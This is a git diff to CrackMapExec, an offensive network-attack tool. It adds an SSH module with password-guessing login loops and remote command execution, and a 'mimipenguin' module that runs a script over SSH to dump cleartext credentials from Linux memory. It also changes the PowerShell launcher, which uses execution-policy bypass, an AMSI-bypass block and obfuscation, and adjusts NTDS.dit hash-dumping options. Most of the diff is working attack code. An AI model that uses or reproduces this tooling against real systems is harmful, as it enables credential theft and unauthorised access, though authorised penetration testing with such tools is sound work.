diff --git a/.gitmodules b/.gitmodules index 8b8f4bdf..992a9849 100644 --- a/.gitmodules +++ b/.gitmodules @@ -28,3 +28,6 @@ [submodule "cme/data/sessiongopher"] path = cme/data/sessiongopher url = https://github.com/fireeye/SessionGopher +[submodule "cme/data/mimipenguin"] + path = cme/data/mimipenguin + url = https://github.com/huntergregal/mimipenguin diff --git a/cme/connection.py b/cme/connection.py index c927876e..cb3bf147 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -190,7 +190,7 @@ class connection(object): password.seek(0) elif type(user) is not file: - if self.args.hash: + if hasattr(self.args, 'hash') and self.args.hash: with sem: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: @@ -208,10 +208,16 @@ class connection(object): for password in self.args.password: if type(password) is not file: if not self.over_fail_limit(user): - if self.plaintext_login(self.domain, user, password): return True + if hasattr(self.args, 'domain'): + if self.plaintext_login(self.domain, user, password): return True + else: + if self.plaintext_login(user, password): return True elif type(password) is file: for f_pass in password: if not self.over_fail_limit(user): - if self.plaintext_login(self.domain, user, f_pass.strip()): return True + if hasattr(self.args, 'domain'): + if self.plaintext_login(self.domain, user, f_pass.strip()): return True + else: + if self.plaintext_login(user, f_pass.strip()): return True password.seek(0) diff --git a/cme/data/mimipenguin b/cme/data/mimipenguin new file mode 160000 index 00000000..0a127fa2 --- /dev/null +++ b/cme/data/mimipenguin @@ -0,0 +1 @@ +Subproject commit 0a127fa26280be1c35fcc9646a17f2d6f0114d60 diff --git a/cme/first_run.py b/cme/first_run.py index 271bb919..a48266ba 100755 --- a/cme/first_run.py +++ b/cme/first_run.py @@ -2,6 +2,7 @@ import os import sqlite3 import shutil import cme +from ConfigParser import ConfigParser, NoSectionError from cme.helpers.logger import highlight from cme.loaders.protocol_loader import protocol_loader from subprocess import check_output, PIPE @@ -61,6 +62,16 @@ def first_run_setup(logger): logger.info('Copying default configuration file') default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf') shutil.copy(default_path, CME_PATH) + else: + # This is just a quick check to make sure the config file isn't the old 3.x format + try: + config = ConfigParser() + config.read(CONFIG_PATH) + current_workspace = config.get('CME', 'workspace') + except NoSectionError: + logger.info('v3.x configuration file detected, replacing with new version') + default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf') + shutil.copy(default_path, CME_PATH) if not os.path.exists(CERT_PATH): logger.info('Generating SSL certificate') diff --git a/cme/helpers/bash.py b/cme/helpers/bash.py new file mode 100644 index 00000000..a88aa7a7 --- /dev/null +++ b/cme/helpers/bash.py @@ -0,0 +1,6 @@ +import os +import cme + +def get_script(path): + with open(os.path.join(os.path.dirname(cme.__file__), 'data', path), 'r') as script: + return script.read() diff --git a/cme/helpers/powershell.py b/cme/helpers/powershell.py index 267cb3f4..7f31f59d 100644 --- a/cme/helpers/powershell.py +++ b/cme/helpers/powershell.py @@ -67,7 +67,7 @@ def obfs_ps_script(path_to_script): return strippedCode -def create_ps_command(ps_command, force_ps32=False): +def create_ps_command(ps_command, force_ps32=False, dont_obfs=False): amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ @@ -133,18 +133,24 @@ else else: """ - obfs_attempts = 0 - while True: - command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfuscation(command) + '"' - if len(command) <= 8191: - break + if not dont_obfs: + obfs_attempts = 0 + while True: + command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfuscation(command) + '"' + if len(command) <= 8191: + break - if obfs_attempts == 4: + if obfs_attempts == 4: + logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command))) + exit(1) + + obfs_attempts += 1 + else: + command = 'powershell.exe -noni -nop -w 1 -enc {}'.format(encode_ps_command(command)) + if len(command) > 8191: logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command))) exit(1) - obfs_attempts += 1 - return command def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False): diff --git a/cme/modules/mimipenguin.py b/cme/modules/mimipenguin.py new file mode 100644 index 00000000..b6356a26 --- /dev/null +++ b/cme/modules/mimipenguin.py @@ -0,0 +1,42 @@ +from cme.helpers.bash import get_script +from sys import exit + +class CMEModule: + ''' + Example + Module by @yomama + + ''' + name = 'mimipenguin' + description = 'Dumps cleartext credentials in memory' + supported_protocols = ['ssh'] + opsec_safe= True + multiple_hosts = True + + def options(self, context, module_options): + ''' + SCRIPT Script version to execute (choices: bash, python) (default: bash) + ''' + scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'), + 'BASH' : get_script('mimipenguin/mimipenguin.sh')} + + self.script_choice = 'BASH' + if 'SCRIPT' in module_options: + self.script_choice = module_options['SCRIPT'].upper() + if self.script_choice not in scripts.keys(): + context.log.error('SCRIPT option choices can only be PYTHON or BASH') + exit(1) + + self.script = scripts[self.script_choice] + + def on_admin_login(self, context, connection): + if self.script_choice == 'BASH': + stdin, stdout, stderr = connection.conn.exec_command("bash -") + elif self.script_choice == 'PYTHON': + stdin, stdout, stderr = connection.conn.exec_command("python2 -") + + stdin.write("{}\n".format(self.script)) + stdin.channel.shutdown_write() + context.log.success('Executed command') + for line in stdout: + context.log.highlight(line.strip()) diff --git a/cme/protocols/http.py b/cme/protocols/http.py index 9fa3459f..11c00b46 100755 --- a/cme/protocols/http.py +++ b/cme/protocols/http.py @@ -4,13 +4,14 @@ from gevent.pool import Pool from gevent.socket import gethostbyname from urlparse import urlparse from datetime import datetime -from sys import exit from cme.helpers.logger import highlight from cme.logger import CMEAdapter from cme.connection import * from cme.helpers.http import * from requests import ConnectionError, ConnectTimeout, ReadTimeout from requests.packages.urllib3.exceptions import InsecureRequestWarning +from splinter import Browser +from selenium.webdriver.common.desired_capabilities import DesiredCapabilities # The following disables the warning on an invalid cert and allows any SSL/TLS cipher to be used # I'm basically guessing this is the way to specify to allow all ciphers since I can't find any docs about it, if it don't worky holla at me @@ -27,13 +28,6 @@ class http(connection): self.transport = None self.port = None - try: - from splinter import Browser - from selenium.webdriver.common.desired_capabilities import DesiredCapabilities - except ImportError: - print highlight('[!] HTTP protocol requires splinter and phantomjs', 'red') - exit(1) - if self.hostname.startswith('http://') or self.hostname.startswith('https://'): port_dict = {'http': 80, 'https': 443} self.url = self.hostname @@ -86,6 +80,7 @@ class single_connection(connection): self.port = port self.transport = transport self.hostname = http.hostname + self.server_headers = None self.conn = None self.proto_flow() @@ -97,7 +92,9 @@ class single_connection(connection): 'hostname': self.hostname}) def print_host_info(self): - self.logger.info('{} (Title: {})'.format(self.conn.url, self.conn.title.strip())) + self.logger.info('{} (Server: {}) (Page Title: {})'.format(self.conn.url, + self.server_headers['Server'] if 'Server' in self.server_headers.keys() else None, + self.conn.title.strip() if self.conn.title else None)) def create_conn_obj(self): user_agent = get_desktop_uagent() @@ -108,6 +105,7 @@ class single_connection(connection): try: r = requests.get(url, timeout=10, headers={'User-Agent': user_agent}) + self.server_headers = r.headers except ConnectTimeout, ReadTimeout: return False except Exception as e: @@ -133,4 +131,4 @@ class single_connection(connection): def screenshot(self): screen_output = os.path.join(os.path.expanduser('~/.cme/logs/'), '{}:{}_{}'.format(self.hostname, self.port, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) self.conn.screenshot(name=screen_output) - self.logger.success('Screenshot stored at {}.png'.format(screen_output)) \ No newline at end of file + self.logger.success('Screenshot stored at {}.png'.format(screen_output)) diff --git a/cme/protocols/http/database.py b/cme/protocols/http/database.py index ca50339a..e016ba51 100755 --- a/cme/protocols/http/database.py +++ b/cme/protocols/http/database.py @@ -16,7 +16,8 @@ class database: "ip" text, "hostname" text, "port" integer, - "title" text, + "server" text, + "page_title" text, "login_url" text )''') diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 93c1c8b4..faf8da6f 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -122,7 +122,7 @@ class smb(connection): cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') - cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, type=str, help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") + cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') diff --git a/cme/protocols/ssh.py b/cme/protocols/ssh.py new file mode 100644 index 00000000..a2841a5f --- /dev/null +++ b/cme/protocols/ssh.py @@ -0,0 +1,74 @@ +import paramiko +from cme.connection import * +from cme.helpers.logger import highlight +from cme.logger import CMEAdapter +from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException + +class ssh(connection): + + @staticmethod + def proto_args(parser, std_parser, module_parser): + ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser]) + #ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key") + ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") + + cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") + cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') + cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") + + return parser + + def proto_logger(self): + self.logger = CMEAdapter(extra={'protocol': 'SSH', + 'host': self.host, + 'port': self.args.port, + 'hostname': self.hostname}) + + def print_host_info(self): + self.logger.info(self.remote_version) + + def enum_host_info(self): + self.remote_version = self.conn._transport.remote_version + + def create_conn_obj(self): + self.conn = paramiko.SSHClient() + self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + try: + self.conn.connect(self.host, port=self.args.port) + except AuthenticationException: + return True + except SSHException: + return True + except NoValidConnectionsError: + return False + + def check_if_admin(self): + stdin, stdout, stderr = self.conn.exec_command('id') + if stdout.read().find('uid=0(root)') != -1: + self.admin_privs = True + + def plaintext_login(self, username, password): + try: + self.conn.connect(self.host, port=self.args.port, username=username, password=password) + self.check_if_admin() + + self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'), + password.decode('utf-8'), + highlight('(Pwn3d!)') if self.admin_privs else '')) + + return True + except Exception as e: + self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'), + password.decode('utf-8'), + e)) + + return False + + def execute(self, payload=None, get_output=False): + stdin, stdout, stderr = self.conn.exec_command(self.args.execute) + self.logger.success('Executed command') + for line in stdout: + self.logger.highlight(line.decode('utf-8').strip()) + + return stdout diff --git a/cme/protocols/ssh/__init__.py b/cme/protocols/ssh/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/cme/protocols/ssh/database.py b/cme/protocols/ssh/database.py new file mode 100644 index 00000000..794d1a26 --- /dev/null +++ b/cme/protocols/ssh/database.py @@ -0,0 +1,21 @@ +class database: + + def __init__(self, conn): + self.conn = conn + + @staticmethod + def db_schema(db_conn): + db_conn.execute('''CREATE TABLE "credentials" ( + "id" integer PRIMARY KEY, + "username" text, + "password" text, + "pkey" text, + )''') + + db_conn.execute('''CREATE TABLE "hosts" ( + "id" integer PRIMARY KEY, + "ip" text, + "hostname" text, + "port" integer, + "server_banner" text + )''') \ No newline at end of file diff --git a/cme/protocols/ssh/db_navigator.py b/cme/protocols/ssh/db_navigator.py new file mode 100644 index 00000000..831ac223 --- /dev/null +++ b/cme/protocols/ssh/db_navigator.py @@ -0,0 +1,15 @@ +import cmd +from cme.protocols.ssh.database import database +from cme.cmedb import UserExitedProto + +class navigator(cmd.Cmd): + def __init__(self, main_menu): + cmd.Cmd.__init__(self) + + self.main_menu = main_menu + self.config = main_menu.config + self.db = database(main_menu.conn) + self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, 'ssh') + + def do_back(self, line): + raise UserExitedProto \ No newline at end of file diff --git a/cme/thirdparty/impacket b/cme/thirdparty/impacket index 74058cc0..a1523f32 160000 --- a/cme/thirdparty/impacket +++ b/cme/thirdparty/impacket @@ -1 +1 @@ -Subproject commit 74058cc0f03f4cfdd165da5bdf1fc6f8f04daaee +Subproject commit a1523f32ee852b4925bb814e29d1d2a56cc9e438 diff --git a/requirements.txt b/requirements.txt index f2f04ca0..f3511598 100755 --- a/requirements.txt +++ b/requirements.txt @@ -1,10 +1,12 @@ pycrypto>=2.6 pyasn1>=0.1.8 gevent>=1.2.0 -requests>=2.3.0 +requests>=2.9.1 bs4 netaddr pyOpenSSL termcolor msgpack-python -pylnk \ No newline at end of file +pylnk +splinter +paramiko \ No newline at end of file diff --git a/setup.py b/setup.py index 31f26abb..c9921f55 100755 --- a/setup.py +++ b/setup.py @@ -21,13 +21,15 @@ setup(name='crackmapexec', 'pycrypto>=2.6', 'pyasn1>=0.1.8', 'gevent>=1.2.0', - 'requests>=2.3.0', + 'requests>=2.9.1', 'bs4', 'netaddr', 'pyOpenSSL', 'termcolor', 'msgpack-python', - 'pylnk' + 'pylnk', + 'splinter', + 'paramiko', ], entry_points = { 'console_scripts': ['crackmapexec=cme.crackmapexec:main', 'cme=cme.crackmapexec:main', 'cmedb=cme.cmedb:main'],